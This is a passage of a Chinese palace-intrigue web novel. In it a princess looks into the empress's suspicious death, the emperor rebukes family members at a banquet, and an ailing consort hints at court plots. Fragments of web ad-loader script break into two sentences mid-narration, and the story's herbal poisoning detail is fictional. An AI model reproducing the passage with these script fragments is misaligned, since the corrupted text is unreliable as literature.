这时候,连郇寰都来了,他官服整齐,俨然是高踞部堂上议论公事的模样,却不知为何也被拉到了这冰天雪地里。 最后,沈明枳终于看见,眼前巍峨的坤宁宫挂了白,在皎洁的天地之间不辨彼此。 “殿下!宫中来信了!” 43. 第四十三章 国丧愈 皇后殡天,国丧三月,从皇陵紫微宫回到后廷的时候,绿阴一片,黄鸟数声。 孙先生授了太医院的职,听到兖国公主回宫的消息,便把桌上的卷册往怀里一揣,临行时用手语交代药童:炉子上荣妃娘娘的药不能煎干了。刚出太医院,正见一个身姿窈窕的医婆送前来取药的宫女出门。两个人互相客气点头,算是打了招呼。路上他遇见赶去太医院请医正的外城内监,说是都察院的介御史过度劳累,受了风寒后晕倒了。 孙先生将这一桩桩、一件件都仔细写了,连带着他整理出来的卷册,递给沈明枳看。 “在太医院过得如何?”沈明枳边仔细看着卷册上的勾画批注,边问道。 孙先生又取出一张纸,简略地写:“很好。” “荣妃的病呢?” “不好。” “你尽力吧。” 孙先生点点头,听候沈明枳发问:“这个肖医婆来了多久?” 孙先生掰起一根指头:“一年。” 沈明枳抬起头,望向窗外空荡荡的院落,心里慢慢地算着日子,“难道不应该是去年六月左右进的太医院吗?” 孙先生摇摇头,在纸上写:“四月。” 沈明枳追问:“你去看过太医院的簿册了?” 孙先生坚定地点了点头。 沈明枳不由得冷笑:“很妥帖。” 她将卷册重新递给了孙先生,“娘娘的身体一直很康健,吃的只是滋补保养的药,方子也是蒋太医等反复敲定过的,怎么去年蒋太医一告老,作为他的关门子弟,方太医就重新换了方子?” “方老在整理库房时发现了积攒多年的岭南珍贡龙血脑,按古方,加入龙血脑可起事半功倍的效果。药方反复推敲,院中人皆无异议。” “这么铺张,娘娘不会同意。” 孙先生点头:“是,皇后节俭,并不赞同,是圣上恩准。” 沈明枳揉了揉太阳穴,“那先生给我看这些,是为何意?” 孙先生饱沾了墨汁,“龙血脑功效虽佳,然与梅相克,易犯气疾。” “娘娘从来没有气疾。” 孙先生叹息,又写:“风寒,高热,鼻塞,气息不通,喘症轻微,易误诊。” 沈明枳心底一沉。故太子妃梅问香幼年逢冬必发气疾,所以她对气疾也有所耳闻,不治之症,但也并非发病即死。 她神色一凛,“如何气疾和风寒分不清?” 孙先生想了想:“大底自负高明,何况病情相似。” 沈明枳抬手捂住自己的半边脸,仿佛这半张脸上的那只眼睛被这句话灼得生疼。她长长吐出一口气,“罢了,你也要研究这么久,更何况是他们。”她收拾了纸张,点了一盏香灯,一点点地要把痕迹全都烧尽。 孙先生听了这话,继续抽出一张纸,犹豫了片刻,当一滴墨落在纸上晕开前,他按笔:“龙血脑,岭南珍贡,与梅相克,岭南偏方,少有人知。” 沈明枳盯这这句话良久,连火苗舔到手指也不曾察觉,孙先生连忙拍掉她手中的残纸,拿起灯罩盖了上去。疼痛这才顺着手指,钻入心底,痛得沈明枳一个激灵,再度逼问:“你确定?” “温夫人所说,我信她。” 沈明枳沉默半晌,一直到门外远远地传来月珰的声音,方才叮嘱:“宫里梅花很多,但因为丧子之痛,她并不常去赏梅。关于方太医为何突然要整理库房、他的古方从何而来,还有这个江南道苏州府来的肖医婆怎与寇妃走得很近,又在太医院里办过什么大事,有劳孙先生留意。” 孙先生恭敬地一礼拜别,忽然又想起一事,连忙拿起笔,“圣上曾召见,问起岭南事。” 沈明枳慢慢忖度:“圣上年轻时在岭南遇险,得上苍庇佑,蒙山中猎户搭救,捡回一条性命。后来平定南海道叛乱,北上回京时几次要寻找救命恩人,但山高林深,终不可寻。不过恩情尤在,故而这么多年圣上对岭南故人多为关照,他若想与你聊岭南风物,多说几句无妨。” 他们一同出了坤宁宫——这个承载着太多欢乐的地方。 她记得大姐姐未和亲的那一年,坤宁宫最热闹了:戒子的生母难产,他就被圣上抱给了皇后抚养;大姐姐也还在,每天督促着她念书、习字、绣花,当然,众多公主之中她绣得最差了。时不时,她会跑到东宫,看准了谁当值谁空闲,央窦宙或者韦不决带她去骑马射箭,抑或是和梅如故乐此不疲地斗法。 现在,整个坤宁宫都空了。 逸豫可以亡身。 她搁置如云往事,去给圣上请安,然后打道回府。她走的是东直门甬道,路过刑部时装模做样问了一句郇寰,知道他不在衙门,便甩手出了启明门。 启明门外的天光,明亮一如往常。 沈明枳由月珰扶着上车,余光瞥见有人匆匆跑过,本没放在心上,却听那人虚虚一拦马车,恭敬下拜:“参见兖国公主,小人正要替我家大人回府取卷宗,不慎冲撞了公主的车架,还望公主见谅。” 沈明枳挑开车帘,见拦车的是左都御史柳曦既的长随不阿,她略感惊讶:“总宪?” 不阿再拜:“还望殿下不要生气,若让我家大人知道我这么毛毛躁躁,大人定要责罚我了。” 沈明枳一愣,旋即勉强地微笑:“不阿小哥宽心,这点小事不须放在心上,公务要紧。” 不阿三拜,匆匆跑没了影。 月珰担忧地看向垮下笑脸的沈明枳,“殿下,怎么了?” 柳曦既身边的人怎么可能“毛毛躁躁”地在启明门外当街拦车?柳曦既这是借不阿的“毛毛躁躁”在警戒她的“毛毛躁躁”,他一定是看出来长宁和亲之中的曲折有她的手笔,故而借此敲打她不能得意忘形。 确实,她沈明枳是容易忘乎所以的人,最典型的表现就是,她敢在郇寰的眼皮子底下演这么一出口蜜腹剑的戏,万幸郇寰没有看出破绽,抑或者出于一些利益的考量,他缄口不语、按下不表,总归事情是办成了,可喜可贺。 但凡事怕的就是万一。 柳曦既做的都是铜浇铁铸的稳妥事,向来是伺机而动、动必封喉的稳重人,所以他提点自己表露出来的最粗浅的用意,便是劝自己及时收手,既不能杜绝根弊,那就及时止损。可这些事她不做,就没有人会替她做,柳曦既不会,梅如故也不会,她只能靠自己。 柳曦既不是个爱多管闲事的,自己与他的交情比起和梅如故的,算得上浅薄,便是出于安危考量,平日见面他们连一句闲话也不多说。事出有因,可沈明枳一时想不通,只能用“东宫故旧”这四个字作为胡乱借口暂时搪塞。 沈明枳苦笑:“没事,走吧。” 马车平稳地驰上了回府的街道。天气回暖,东风袅袅,泛起的却是一阵寒颤。化隆城里的路也不是大道坦途处处,沈明枳被马车一颠,陡然一个激灵,去岁千秋节长宁放的那只没炸出响的哑炮,就在此时将她的心炸得血肉模糊。 太巧了,天下能有这样的巧合吗? 长宁是藏不住事的性子,她必不可能早就知道柳曦既的这段往事,可早不早、晚不晚,偏偏在和亲当口被人当作了发难的幌子,一箭穿心,愣是绝了长宁求生挣扎的意志,让她成了一幅行尸走肉,再没了气性。 这种时间的把控,真是太过微妙。 观长宁的反应,第一重重大的嫌疑就落在了她的小妹妹长英身上。可她只是个孩子,被窦晴柔用诗书礼义教养得极其规范的一个孩子,她如何知道这样鲜为人知的秘闻?她何时知道的真相?她的目的为何?正常说,小孩子的举动常常为大人教唆,但最不希望长宁出事的就是赵王府,最不可能探得这些秘闻的就是赵王府。 沈明枳脑中一团乱麻。 莫非柳曦既这突然的警戒,背后别有根源?难道在她不注意的角落,还曾发生了什么了不得的事情? ** 因着国丧,憋了三个月的五陵子弟变本加厉地花天酒地,几天内,勾栏酒肆出了好几起聚众斗殴的流血事件,京兆府一下子忙得脚不点地。除了京兆府,每年开春各地治河保漕的纷争就能把户部大小官员愁得两鬓斑白,所幸今年没有发大水,也没有赤地千里的旱魃,西北与义律的混战业已平息,乍一看四海安定、天下太平,国库里也存 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朝南的正面雕得花团锦簇,蝙蝠满天飞,瑞鹿回头望,寿桃压满梢,喜鹊上枝头,这是想穷尽天下好事、搜罗入一家门楣。背面就更加直接,一整棵枝繁叶茂的石榴树,多子多福开口常笑,边上一只知了更添了几分互相唱贺的意趣。 他应该看了很久,久到思绪发散收不回来,一时间没注意沈明枳也走了过来。 沈明枳少见郇寰出现在兖国公主府的正门。按往日,他应当在刑部衙门,再谦恭点,他应当在启明门前等自己的车架悠然而来。寻常出门,他也不走公主府的门。他袭了爵,但不住侯府,在而今公主府的地段另置一府。婚事敲定后,因为一切曲折复杂的原因,郇宅附近的空宅被合并翻修成了兖国公主府,两府合并,中间开一门,就算合成了一家。 最初的郇宅沈明枳见过。那是人日的夜晚,她误了回宫的时辰,便由郇寰陪着在化隆城的大街小巷慢慢逛着,不知是有意无意,他们就逛到了郇宅。乍一看,门庭冷落,和豪右戚畹的府邸相比简直寒酸得穷酸。 那时他们已经有了婚约,所以郇寰邀她进去小坐也并无不妥,故而沈明枳第一次、也是最后一次进了郇寰的书房,便知道了这一整座郇宅最贵重机密的东西,不过他满架子的案卷书册。 “过几日需要请殿下随臣回一趟侯府,郇毓的婚事要提上日程了。” 沈明枳回神,掩唇打了一个哈气,“好。” 多看一眼也不必,他们坐得这样近,郇寰早已发现了沈明枳淡妆之下掩不住的疲态,可再离得远些,时而粗心大意的他应该就看不穿她的掩饰,他抿唇,不知尝出了什么滋味,继续道:“郇毓的婚事敲定后,我打算把郇翾、郇旒接来。” “好。” 两人顿时无话。过了许久,郇寰见沈明枳没有瞌睡,便又开口:“郇翾是男孩子,但他还没到离家上书院的年纪,在侯府一直上的是族学,若他搬了出来,我在外面物色了先生指点他,公主府里都是女眷,常常出入必然有所不便,所以我打算让他安置在郇宅,就在我书房边上辟一间屋子供他读书用功。” “好。” 听沈明枳答得干脆,郇寰一时间不知开口继续说些什么。冷场许久,还是沈明枳打破了沉默:“他们愿意吗?” 郇寰一愣。 沈明枳看他的反应,就知道从头到尾,他在外面多方打听西席先生,在菁明书院里疏通了关系,甚至于费了不少口舌心思说动柳氏,却从未考虑过十岁出头郇七郎兄妹究竟愿不愿意离开母亲的怀抱,跟着他远离家族。 不过。 沈明枳心中一哂。 这种事情由不得他们两个孩子自己拿主意。郇寰是一家之主、一族之宗,在襄阳侯府里向来说一不二,现在又升了尚书,在刑部衙门里也说一不二了,他的话,阖府上下会有谁敢多嘴置喙?且现在的情形不同于往日,沈明枳不大可能生育,郇寰也没有纳妾打算,郇七郎极可能成为将来的接班人,接班人不亲自培养,他郇寰能放心将郇家的一切完完整整交到郇七郎手上?他本人看不上襄阳侯府,但不代表着他会让祖宗家产绝嗣。 “这事……我确实没问过他们。” 44. 第四十四章 惊雷霆 启明门在即,马车平稳地停靠路边。郇寰先行下车,正巧从门中走出他刑部的属下,来人朝他揖礼,他便颔首应下,自然抬臂举到刚躬身走出车厢的沈明枳身前。 没有犹疑,沈明枳隔着袖子搭上了他的手心,借力下了马车。走了两步,他们自然而然地各自撤回了手。 “郇侯?” 郇寰和沈明枳一齐回身,就见自东联袂而来几个白鹇青袍的五品官,为首的是寇一爵,与之并肩而行的是王立镛,他现在也已经是户部的五品郎中。 “参见兖国公主,公主千岁。” “诸位大人免礼。” “十五停朝,公主和郇侯这是要进宫?” 郇寰道:“圣上重开家宴。” 寇一爵恍然:“瞧我这记性,给忙忘了。” 他侧身朝王立镛客气道:“王大人,看来我们现在是面不了圣了,不如我们还是将折子各自递给上官,让郭老和邹尚书到御书房同圣上商量吧?” 王立镛只能应下,朝诸人告辞,和同道而来的工部都水清吏司郎中阮伯矶一并回衙。 寇一爵略留了留,顾忌沈明枳在听,犹疑着要不要开口,谁料郇寰直接问:“出什么事了?你一个营缮司、阮伯矶一个都水司还有户部的王立镛要一齐进宫面圣?” “工部和户部打商量,只能是钱的问题。” 郇寰眉头一蹙:“又没钱了?” “现下边境可算太平了,内务繁多,国库里存了点银子,架不住处处都要花钱。不说去年端午汛有惊无险,白茆河要修堤,这桃花汛一年指不定一年,悬水河也要修堤,粗粗一算就要几百万两银子,还有圣上的吉壤,为着西北军费筹措停了不少年头,敦慈皇后薨逝,这事情得提上日程。” 说着,寇一爵瞥了一眼沈明枳,继续道:“还有城防,自从公主携晋王平定了南海道,南边的海防倒消停不少,但修城固池,每一项都指着朝廷的银子,户部但凡批下一点银子,各个都跟见血的苍蝇要争个先后。” 郇寰心中不定,又怕耽搁太久,只能用鸡零狗碎的小事做结:“那郇某月初报去的刑部大狱翻修,工部的预算下来了吗?” 寇一爵了然地“啧”了一声:“郇尚书,户部就那么点钱,吏户礼兵刑工,你刑部排在我工部前面,但僧面不看看佛面,看在皇家的面子、万万黎明百姓的面子上,怎么你刑部也得往后让让吧?” 郇寰一哂,与寇一爵换过了礼,便与沈明枳步入东直门。 一如往常,头一个冲上来迎接沈明枳的是邕国公主,驸马赵长和也与郇寰寒暄起来,没两句,久久不被允许四处走动的宫妃们相携而来,为首的就是赵王的生母寇妃。粗看,她穿得和左右其他妃嫔一样朴素,玉白素色的长裙,发鬓上只戴了一支琉璃蝴蝶,可蘸在琉璃上的蝴蝶翅膀全用金丝掐成,围了琉璃一圈的是成色极佳的祖母绿,蝶在丛中飞,这一飞就是三四十金也不止。 郇寰对首饰的研究不多,凭着少年时见过的世面,大抵也知寇妃的装束价值不菲。不过他的注意不在衣服首饰,而是人,他见到了燕王生母邹美人、吴王生母余美人,连邕国公主那深居简出的母亲林美人和只有一面之缘的罗美人都来了,赵王妃、魏王妃、燕王妃一箩筐的王妃站满了大厅,独独少了最重要的一位。 “华妃娘娘又没来?”沈明枳低声问道。 邕国公主逡巡一阵,也没有看见魏王生母华妃,“华娘娘的身子一向不好,上回你从南边回来,她就风热头痛,起不了身,估计今天又是风寒着凉、正在卧床——” 说着,邕国压低嗓音附到了沈明枳耳边:“就算她没有生病,这种闹闹杂杂的地方她也不会来的。” 说罢,寇妃立于上首,当即吩咐开席。沈明枳一扫那边的位次,寇妃不敢坐正中皇后的宝座,但连英国公府的老夫人也坐不得的左席她却面不改色地占了,华妃没来,邹美人和余美人两位哪怕是生了皇子,也没人敢坐她右边。 见此,郇寰的眼神当即暗沉了下来。 沈明枳故作无知地问:“咦,长公主姑姑怎么又没来?临川也没来。” “嗳,咱们这姑姑向来是去留自在的侠女性子,京中不自在,她当然要往自在处走。” 沈明枳轻笑,却不再说话。 她许久没有见到临川,也知道要让临川老老实实两年不食荤腥着实为难,是故,鲁国长公主怕女儿犯浑,母女两个老早又回了临川府躲日子。不过鲁国长公主人不在化隆,要挑的摊子还撂在化隆。 大楚皇家内部的分封制讲究一个“只封不授”,沈明枳还未出宫时,月例由中宫私库分发,出嫁受封成了兖国公主,帝后按照惯例赠予田亩作为私产,名为“封邑”,但每一亩土地的税收产出并非直接交到沈明枳手中,而是由中宫协调调度,然后作为岁赐、月供下发到兖国公主府。这样一来二去,中间可以操作转圜的余地就大了,克扣虐待的惨案也就多了。 不过升平当朝就不存在这样的现象,中宫宽仁,圣上对儿女私下经营的买卖、低调收敛的田产睁一只眼闭一只眼,王子龙孙通过联姻积蓄大量财富,不出意外,大家都可以过上非常“奢靡”的日子,祖宗家法成了一纸空文,魏王就是一个典型。 但总有几个出身不显又无依无靠的公主是指着月例过日子的,皇后薨逝,一家子经营调度的责任骤然悬空,宫内女人间的平衡也骤然毁灭,后廷之内派系分明,腾不出手亲自料理的圣上只能求上鲁国长公主。 鲁国长公主纵情声色,但她对朝中的暗潮看得比谁都清楚,管了几天圣上的家务事就甩手撂摊子跑路了,现在主持中馈、协理后宫的大权便落在了寇妃手中。 所以万事不沾的邕国偶尔也会贬损几句旁人,但现在却是什么话也不敢多说。她明知道寇妃为了博取美名也不会苛待她的母妃,但明面上是一番光景,暗地里又是另一幅脸孔,宫里禁中要折腾人的法子千千万,谁知道她的母妃会不会因为自己的多嘴、女人的记恨而吃尽苦头。 席面刚刚开始,沈明枳和郇寰刚被刀光剑影不露痕迹的家长里短折磨得如坐针毡时,魏王等跟着圣上从御书房来了。 甫一坐定,圣上居然一眼就看见了长乐扎着那条蝉绿的宋锦百褶裙,两腮一垮,板起脸来,“长乐,你今年也要十七岁了吧。” 厅内霎时寂灭,众人纷纷看向了大祸临头的长乐。 长乐还有些懵,不明白自己哪里又惹恼了圣上,只双眸含波、心中颤颤地望向了魏王。魏王眼睛也尖,一下子就看见了桌椅遮挡下,长乐拖在地上的裙摆上革着那繁复的花枝纹样,颜色不艳,但这个复杂程度绝对是孝期里不可以沾染的忌讳。 长乐久久不回应,圣上的语气更加严厉:“不用去看你哥哥,你看你哥哥作甚,你哥哥宠你,几十金、几百金的绸缎宝石说买就买,山堆海填似的码放在你的宫殿,你也知道你哥哥宠你,恨不得天天把哥哥的宠爱都穿在身上、显摆在脸上。平日里张扬也就罢了,什么时候穿什么衣裳,什么地方用什么规矩,多大个人了,你还不清楚吗?你哥哥嫂嫂平日里没有好好教导你嘛!” 长乐绷不住,豆大的泪珠从眼睛里源源不断地滚了下来,可她死死咬着嘴唇,从小到大从未受过这样的训斥,这样的委屈比泰山倒扣还要深重,但她就是不敢发出一点声音。 魏王起身,走到了正中央朝圣上跪道:“父皇息怒,是儿臣没有教导好妹妹,儿臣有罪,还请父皇责罚。” 魏王妃即刻提着裙子跟了过去,也在魏王身边跪了下来。厅中场面顿时难看,华妃没来,寇妃不愿,其他几位宫妃不敢,赵王、燕王、吴王摸不准圣上的脾气,秦王带着晋王作壁上观,邕国夫妇在内心忖度,长荣和张四郎浑身僵硬,长华和长英坐得离沈明枳很近,此刻的她们也都被这雷霆万钧震在了原地、不敢呼吸,长乐就这样,坐在位子上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,泪水如悬水河决了堤。 “哭哭哭!”圣上的火气更大了,指着长乐的鼻子就骂了起来:“你一辈子锦衣玉食地当公主,你还在哭!那些荒年吃不上饭、卖儿卖女、面黄肌瘦的百姓还哭不哭!” 沈明枳轻轻叹息,垂眼忽见郇寰覆上了自己攥着的左手手背,她心中的无奈之情更加泛滥。 上头圣上的训斥还在嗡嗡响彻每一个人的脑海,“老三,你是有罪,你母妃常年卧病,你不好好侍奉左右、教导妹妹,让你母妃一人寂寞,还教得你妹妹刁蛮任性、目无法纪!你是该罚,还应该狠狠地罚!” “父皇!”长乐终于忍不住,哭喊出声,从椅子上爬起来时脚下又滑了一跤,但还是跌跌绊绊地跪到了魏王妃身边,朝圣上磕头:“是长乐的错,父皇要罚就罚长乐吧,这些事与哥哥无关!” “无关?好一出兄妹情深……” 沈明枳用右手轻轻推开了郇寰,郇寰却即刻攥住了她的右手,在她抬眼时轻轻摇了摇头。 “陛下消气——”终于,被自己的儿子儿媳抑或者是外臣郇寰的冷眼逼迫得走投无路的寇妃站了起来,扶着圣上的肩膀将人安置到了正中的宝座之上,边替圣上顺着气、边温言安慰:“陛下消气,三殿下和长乐毕竟都是孩子,是孩子就难免会犯错的嘛……” 郇寰和沈明枳的眼皮俱是一跳,圣上冷笑:“还是孩子?照你的口气,子不教父之过,纵容老三把长乐宠成这样无法无天,朕是错上加错!” “妾身不是这个意思……”寇妃无措地看向了赵王夫妇。 圣上一摔袖子,从宝座上又站了起来,叉腰指着跪在中央的魏王一家再骂:“混账东西!都是混账!一个个瞧着现在朝廷不打仗了,国家就多得是钱让你们挥霍是吗?也罢,老三你是当哥哥,管教不了你的亲妹妹,朕这个当父亲的也有错,大错特错,所幸亡羊补牢为时未晚,朕听说去年你给你妹妹物色了乘龙快婿,朕看韩宗英那孩子也挺不错,丧母极哀,着实可惜,不过因此毁了说好的婚事,倒显得我天家言而无信!” 长乐惊恐地从地上抬头,魏王与魏王妃也都愣住,寇妃躲在圣上身后,脸上是抑制不住的喜色。窦晴柔不敢公然威胁婆母,但赵王狠狠地瞪了母亲一眼,寇妃这才勉强地收敛了神色,用袖子半掩了口鼻,缓缓坐到了位子上。 瞧出了长乐的不情不愿,圣上冷笑:“怎么?觉得韩宗英出身寒门配不上你?” 说着,他结了冰的目光逡巡过殿内每一个人的脸上,“捧高踩低、欺软怕硬,这就是你天家公主的品性!庞培!” 守在厅外的庞大总管连忙推门徐步走了进来,“陛下有何吩咐?” “长乐公主与韩进士的婚约你可有听说?” 庞大总管一眼也不敢多看,只支支吾吾应了下来。 “去告诉礼部和宗人府,三年之后的喜事,三年前也可以早早准备!” 话落,长乐瘫软在了魏王妃的怀里,捂住脸,终于忍不住呜呜咽咽哭了起来。 “哭哭哭!”将婚事说定,圣上骂不动长乐,一扫食案已经摆上的肴馔,心中登时又腾起一把无名业火,方才寇妃明面劝慰、暗地挑事的话顿时炸响耳畔,他攥着拳头冷冷数落:“翡翠虾仁、芙蓉鱼片、金线鳝丝、蟹粉银鱼,都是秦淮好菜,朕当年从南海道返京路过应天当地,也没吃上这样的滋味!” 寇妃再愚钝也听出了话头不对,连忙跪了下来,“陛下息怒,妾身只是……” “朕记得你们寇家是湖广道零州府人,行商坐贾富甲一方果然如此,这化隆城里千金难买的滋味说吃就吃,只是不知,今天这一宴花的是中宫的钱还是你寇家的钱!” 赵王夫妇还没来得及下跪,寇妃长着嘴还来不及解释,圣上冷哼一声便拂袖而出。瞬间,厅内所有人都站了起来,寒蝉仗马中,不只是谁出声提醒了一句,众人各自掩藏心思,躬身朝圣上消失的地方下拜。 45. 第四十五章 萦怀抱 出了这么大的变故,除了秦王心宽,胡吃海塞将左右兄弟案上的肴馔都吃个干净,其余人都没了胃口,各自捻了借口就此告辞。寇妃触了圣上眉头,哭哭啼啼,正被窦晴柔扶着往西宫走,赵王留下了郇寰商量对策,故而沈明枳先行一步。 沈明枳才下了厅前石阶,就发现长荣跟了上来。她气色不错,说起话来也没了从前的畏缩,得见张家虽然对这桩便宜婚事不满,却没有亏待她。 “十姐姐。” 沈明枳回转身笑道:“怎么了?张驸马怎么没陪着你?你才生产完,要多当心些。” “母妃卧床,四郎代我先去看望了。”说着,她后退一步郑重叠了一个大礼:“我和母妃都要谢过十姐姐。” 沈明枳扶住她的手腕,“不必言谢,本该是这样的。” 长荣摇摇头,想挽上了沈明枳的胳膊,但她心中打鼓,最终作罢,只能双手绞着帕子低声谢道:“自从母妃落胎失宠,她身体就一日不如一日,她脾气不好,曾经得罪了不少人,只有十姐姐仁善,还请了孙太医照料她,榕儿不知,如果没有十姐姐照料,我母妃会被磋磨成什么样子……” 沈明枳说不出安慰的话,只能轻轻拍拍她的肩膀。 “姐姐。”长荣有些哽咽,“姐姐替我说话,结果被多嘴的内监传了出去,他们……他们是不是一直在为难你……” “长荣,不,现在改叫你梁国了,这些事情你不必替我担心,我不会有事的,同样,你也不会有事的。” 长荣望着沈明枳,心中蓦地涌起了一股坚定。这种安全的依赖感是她在荣妃那里也未曾得到过的,或许曾经有过,但那已经是牙牙学语时的孩童年纪的遥不可及的模糊记忆。 自记事以来,她无有一日不活在担惊受怕里,无有一日不卑微瑟缩地躲在母妃的身后,无有一日不唯唯诺诺地藏在所有光鲜亮丽之下,做长宁、长乐这斛珍珠里混入的一粒鱼目。张家人对她极好,在那样陌生的地方,她终于能挺起腰杆做人,可重回宫中,这皇城大内里的每一个人、每一个人的眼神、每一个人的言语,全都化作了无形的鞭打,让她原形毕露,让她陷入更深更重的痛苦。沈明枳是兄弟姐妹十几个里,独得最厚一份宠爱的那个,在她这个十姐姐面前,她本该将腰弯得更低、将话说得更谦卑,可饶是于人情世故最退避三舍的她也知道,她应该说些什么回应沈明枳的美意。 长荣就这样哭了出来,泪水成串,止不住地流下来。 沈明枳一惊,手垂在袖子中一个无措地颤抖,就将自己的心绪顺着长荣这灰暗的十几年,一把拉回了从前,让她想起这该死的归属感,让她在大姐姐和太子长兄的温柔呵护中,依然如履薄冰。后来她已全然沉醉于这样的温情美意,直愿醉死、溺死在这样的人间至情,可风雨不测、人事更迭,暌违多年的陌生之感不请自来,现下的她比之眼前的长荣,恐也一般无二。 人的崩溃只在一瞬之间。 长荣用帕子擦着眼泪,妆都花了,嘴角的笑却是飞扬的,她摇头又点头,眼泪越流越多,多到最后她压抑不住哭声,在普天之下、四海之中最最压抑的高墙深宫内,大哭出声。 沈明枳驱散了路过的宫女内监,就笼手静静等待长荣平复过来。她不知道在等待的时间里,她想了些什么,或者说她该想些什么。她从不允许自己脑中空空如此之久,她故作从容,技艺太精,以至于每一个和她打过照面的人都误以为,她就是这样张弛有度、胜券在握的常胜将军,但其实,她才是人群里最自苦最局促的那个。 她从没有这么久地放空过,不,不是放空,她也不知道自己这是怎么了,只是看着长荣哭、看着她笑、再看着她哭,没有一丝厌烦焦躁,更谈不上可怜与同情,她只是静静等待。有这么一瞬,她起过一个念头,想要借长荣一个放肆大哭的怀抱,可哪怕只是摩挲肩膀的抚慰,都让她觉得残忍。 沈明枳终于又想起了哥哥姐姐,想起了皇后,想起了坤宁宫还有东宫,她哭得这样伤心时,搂着她轻声宽慰的那些人都已随风远逝。 “让……让姐姐笑话了……” 沈明枳终于松开紧攥的手指,将双目通红的长荣拉到了怀里。 她冲动了。 可她还要在长荣的耳边温柔说:“长荣,都不会有事的,永远也不会有事的。” 在紫微宫,她远远步过故太子的陵寝,又亲眼目送皇后的灵柩消失,她的戒子抱着她说,阿姐,没事的,以后让我来保护你。 在皇后灵前也没有流过的眼泪染湿了戒子的肩膀。 沈明枳也终于知道,自己有多么痛恨“算计”,有多么痛恨自己,原来这两种痛恨是相通的。她算计了戒子的性命,也算计过长荣的婚姻,现在轮到了痛恨。 长荣紧紧搂上沈明枳的脖子。 荣妃和罗美人共居一处,在西宫一个毫不起眼的角落。沈明枳没想到,端午重日那场由寇妃唆使宣国布置下的捉奸大戏里的花旦李美人,居然也跟这两位失宠日久的宫妃住在一起。 显而易见,和姿色平平但家世出众的罗美人相比,李美人和荣妃的美貌是她们唯一的资本,李美人伤心日日惊惧、荣妃卧病夜夜难眠,但她们还没到色衰就已经爱弛,且无一例外,她们都滑了胎。又非从此不能生育,且圣上的儿女够多了,沈明枳暂且找不出她们从云端跌入尘土的根结所在,只能暂且归咎于男人的善变。 李美人的屋子里传来了诵经之声,门扉紧掩,阶前萧条,沈明枳驻足看了一眼,便跟着长荣往正殿荣妃的卧室走去。 “宫里除了娘娘,我从未听闻还有谁如此信佛。” 长荣的嗓子还沙哑着:“听母妃说,这位李娘娘信佛也就最近的事情,应该是去年秋天吧——”说着,长荣想起了什么,声音戛然而止,戒惧地看向了沈明枳。即便方才在沈明枳怀里痛哭一场,这位十姐姐不笑时身上的威势依旧让她敬惧。 沈明枳心中想着事情,没有留意长荣的腼腆里还掺杂着其他复杂的感情。 张四郎闻声走了出来,见了双眼红肿的长荣一惊,见了长荣身边神色浅淡的沈明枳更是大惊失色,“兖……兖国公主?”他当即就要下拜,被沈明枳隔着袖子虚虚一扶,更是浑身一震,脚下一软,挪到了长荣身边。 “都是一家人,不必讲这些虚礼。”沈明枳终于恢复了往日的亲和,朝张四郎微笑道。 “榕儿?”里间传来了荣妃虚弱的呼唤。 长荣渴念心切,小跑着引沈明枳走了进去,又直接跪坐在荣妃的床头,见荣妃消瘦的脸颊上挂着笑,眼眶顿时又闪出了泪花:“母妃!” 荣妃费力地想摸长荣梳得精神的鬟鬓,长荣便将身子弯得更矮些,以便让母亲的手臂不必抬得这么高。荣妃难得笑得这么高兴,视线从长荣红肿的双眼掠到门口站着的沈明枳脸上,脸上的亲切顿时添上了几分感激,“兖国来了,还不看座?” 守在床尾的婢女即刻搬来了绣墩。 “让我与兖国单独说说话。”说着,荣妃咳嗽两声,长荣依依不舍地带着张四郎和婢女退出里间,只留下沈明枳坐着、荣妃半躺着,相对无言。 沈明枳出声打破平静:“荣娘娘的病怎么来得这么凶猛?” 荣妃用帕子遮着口唇又咳嗽了两声,“谁知道呢。” “是去年秋天开始的吗?” “咳咳,殿下不必问了,妾心里都明白。” 沈明枳轻轻点头。 “殿下也怀疑,皇后娘娘的死,寇妃脱不了干系。” 沈明枳骤然抬睫,两道冷冷的视线直逼荣妃脸上。 毕竟是见过血雨腥风的,荣妃并不惧于沈明枳眼神里涌动的杀意,她反倒坦然地抬眉对上沈明枳的视线,语调平稳:“她能一碗药流掉罗美人的孩子,能设计这样的丑闻打压李美人,从殿下出生到现在,二十来年,从她手上过过的人命数不胜数,桩桩件件都能让妾这样没有根基的人呆一辈子的冷宫、偿一辈子的命。今日,她仍能暂代中宫、主持大宴……” 荣妃一口气说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得太多,撕心裂肺地咳嗽了许久才平复下来,她凝视沈明枳的眼里就此蒙上淡淡一层水雾,“殿下这么聪明,难道还看不出来,这些都是陛下的意思吗?” 沈明枳心中掀起鼍浪。 “雷霆雨露!俱是君恩呐——”荣妃又咳了起来。 “你说,谋夺中宫之位,也是圣上的意思。” 荣妃笑着摇摇头,长长叹了一口气:“毕竟是少年结发,君心难测、天恩淡薄,再淡薄,也不至于手刃发妻,不然就是禽兽不如。但,后位一空,得利者谁,谋划着谁,陛下是圣人,岂会不知。” 圣上不会杀妻。 寇妃还是攫取了协理后宫的大权,今日也曾“风头无量”,奈何她自己不争气,在朝廷四处用钱的当口大肆铺张。 可他容忍。 就如多年以前,容忍那些居心叵测的肖小谋害东宫却自欺欺人地按下不表、掩耳盗铃地不予追究,只为了挽回事体、稳住时局、羁縻人心。 他其实什么都知道。 “他什么都知道,只是不说,不做,这宫里没了谁对他来说都是一样的,皇后也好,华妃也罢,邹美人、余美人、罗美人,都不过如此,毕竟宫里只有两种女人能活,一种是暂时对他有用的,还有一种就是男人用来找乐子的。女人们也心知肚明,各司其职,所以这么多年过去,宫里倒也安定,但寇妃是个特例。” “荣娘娘应该将这番话带进棺材里。” 荣妃脸上露出一默凄然:“是啊,这些都不是能够轻易说出口的,尤其是现在,寇妃当权,哪怕是为了我的榕儿,我也不该多嘴。但是,殿下,你不会说出去的,对么?” 沈明枳沉默地望着她。 “殿下,你也以为寇妃能恣意地活到现在,只是因为赵王吗?” 回应荣妃的还是沉默。 她兀自摇头,又兀自苦笑:“殿下已经成婚,但妾瞧着,情窦未开,于情爱之上倒不如你的那些妹妹们。” 沈明枳深潭似的眼眸里终于又起了一痕波澜。 